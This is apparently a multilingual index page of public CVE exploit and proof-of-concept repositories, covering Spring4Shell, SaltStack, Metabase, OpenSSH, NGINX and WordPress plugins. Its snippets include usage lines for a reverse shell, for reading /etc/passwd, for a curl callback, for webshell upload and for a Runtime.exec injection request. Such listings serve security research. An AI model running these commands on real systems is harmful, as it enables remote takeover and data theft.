715185 matches found
CVE
CVE一覧表 CVE番号| 種別| 企業/製品| 説明| 記事リンク| リポジトリリンク ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows July 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP 3.1.0| 外部バインドされたMCPサーバーでのサニタイズ欠如により、SQLインジェクションが発生する可能性があります。|...
spring-core-rce
spring-core-rce spring core rce の簡単な利用方法 warファイルは以下を使用可能 https://github.com/fengguangbin/spring-rce-war docker環境は以下を使用可能 https://github.com/lunasec-io/Spring4Shell-POC vulfocusのオンライン環境も使用可能 http://vulfocus.io/ またはvulhubのターゲット環境 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965...
CVE-2024-20931
CVE-2024-20931 CVE-2024-20931 は、Oracle WebLogic の CVE-2023-21839 のパッチをバイパスするものです。 使用方法: JNDI をセットアップします。https://github.com/WhiteHSBG/JNDIExploit/ の特定のものを使用してください。 エクスプロイト: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001 Please input RMI...
CVE-2022-29078
THM チャレンジ: SSTI RCE 📜 説明 Node.js 用の ejs（別名 Embedded JavaScript templates）パッケージ 3.1.6 は、settingsview optionsoutputFunctionName においてサーバーサイドテンプレートインジェクションを許容します。これは内部オプションとして解析され、outputFunctionName オプションを任意の OS コマンドで上書きします（このコマンドはテンプレートコンパイル時に実行されます）。 📚 目次 📜 説明 🛠️ インストール 💁 参考 POC...
CVE-2022-22965-PoC
CVE-2022-22965 Spring4Shell 概念実証 Spring Core で RCE（リモートコード実行）をテストする イメージをビルドする BuildKit ベースのビルドが必要なため、有効にする必要があります。 最も簡単な方法は、docker build コマンドを実行するときに DOCKERBUILDKIT=1 環境変数を設定することです。例： $ DOCKERBUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080...
CVE-2025-39538
🛡️ CVE-2025-39538 - WordPress WP-Advanced-Search = 3.3.9.3 任意ファイルアップロード CVE-2025-39538 公開日: 2025-04-16 脆弱性タイプ: 任意ファイルアップロード（危険なタイプのファイルの無制限アップロード） 影響を受けるプラグイン: Mathieu Chartier による WP-Advanced-Search 影響を受けるバージョン: 3.3.9.3 までの全バージョン...
CVE-2025-3248-POC
CVE-2025-3248-POC CVE-2025-3248의 POC 대상 머신에서 모든 명령어 실행 사용법: python poc.py 'http://xxx.com' 'ls /' 피해자 컴퓨터에 사랑을 남기세요 poc.py...
accfly
あなたの「防犯」カメラはどのくらい安全ですか？ エグゼクティブサマリー 2020年の初め、以前の職場で社内のpwn2own形式のイベントに参加する機会がありました。いくつかのターゲットがありましたが、私が最も興味を持ったのはAccfly Wireless Security cameraでした。残念ながら実際のイベントまでに研究を終えることはできませんでしたが、このデバイスに対する他の試みがなかったため、研究を続けました。...
CVE-2026-10818
CVE-2026-10818 WPForms Pro = 1.10.1.1 - チャンクアップロードのInit/Finalize順序に起因する未認証の任意ファイル書き込み CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — チャンクアップロードによる未認証の任意ファイル書き込み 概念実証（PoC）エクスプロイト チャンクアップロードのInit/Finalize順序 → 予測可能なパス公開 → リモートコード実行 脆弱性の概要 項目| 詳細 ---|--- CVE ID| CVE-2026-10818 影響を受けるプラグイン| WPForms Pro...
CVE-2023-2636
CVE-2023-2636...
SaltStack-Exp
SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...
CVE-2024-6387-poc-1
OpenSSH의 CVE-2024-6387 regreSSHion 설명 CVE-2024-6387 "regreSSHion"이라는 별명을 가진는 OpenSSH의 심각한 취약점으로, 인증되지 않은 원격 공격자가 취약한 Linux 시스템에서 루트 권한으로 코드를 실행할 수 있게 합니다. 이 취약점은 glibc 기반 시스템에서 OpenSSH 서버 구성 요소sshd의 신호 처리에 있는 경쟁 조건race condition에서 발생합니다. 심각도 높음 CVSS 점수: 8.1 영향 이 취약점의 성공적인 악용은 다음으로 이어질 수 있습니다: 원격 ...
CVE-2026-42945
NGINX Rift CVE-2026-42945 の RCE 概念実証。2008年に導入された NGINX の ngxhttprewritemodule における重大なヒープバッファオーバーフローです。このバグにより、rewrite および set ディレクティブを使用するサーバーに対して、認証なしのリモートコード実行が可能になります。 この脆弱性は、他の3つのメモリ破損の問題（CVE-2026-42946、CVE-2026-40701、CVE-2026-42934）とともに、depthfirst のセキュリティ分析システムにより、NGINX...
CVE-2026-9999-Serverless-Event-Injection-to-Code-Overwrite
3. CVE-2026-9999 – サーバーレス関数イベントインジェクション（パストラバーサル → コード上書き） 概要 オブジェクトストレージイベントを処理するサーバーレスプラットフォームは、object.key フィールドをサニタイズしないため、攻撃者がパストラバーサルを介して関数のソースコードを上書きできる可能性があります。 重大度: 緊急（次回の呼び出し時にRCE） エクスプロイトとシミュレーション（Python） !/usr/bin/env python3 """ vulnerableserverless.py - Simulated AWS Lambda-like...
CVE-2022-23614
CVE-2022-23614 CVE-2022-23614、GHSA-5mv2-rx3q-4w2v のPoC（Twigのsortフィルターによるコード実行/サンドボックス回避） このコミット - https://github.com/twigphp/Twig/commit/.. で見られるように、twigはユーザーが指定した関数名をコールバックパラメータとして uasort に渡していたため こちら、任意のコード実行が可能となりました 脆弱性のあるtwigバージョンを含むDockerコンテナをビルドして実行するには $ ./build-docker.sh localhost:1337...
CVE-2023-38646
CVE-2023-38646 CVE-2023-38646として知られるMetabase RCEエクスプロイト用の自動化ツール。詳細（POC、Dork）は https://secry.me/explore/news/metabase-rce-cve-2023-38646/ を参照してください。 single.pyの使い方 python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" または python3 single.py -u...
spring4shell-CVE-2022-22965
Simple Spring4Shell POC Check if endpoint is vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Exploit vulnerable endpoint python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Execute command on uploaded webshe...
CHIRP-CodeExecution_via_Malicious_ImageFile
CHIRP — Arbitrary Code Execution via eval in Kenwood ITM Driver Product: CHIRP - An open-source project for programming Ham Radios. Affected Versions: URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com Affected Versions: = chirp-next-20260814 CWE: CWE-95 Eval Injection Overview CHIRP's...
cve-2022-22980
spring-data-mongodb-cve-2022-22980-exp 鶏肋（取るに足らない）脆弱性。単なる記録。 1. Redisを起動し、27017ポートを使う 2. プロジェクトを起動し、Spring Bootを6666ポートで起動する 3. GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host: localhost:6666 Accept-Encoding: gzip, deflate Accept: /...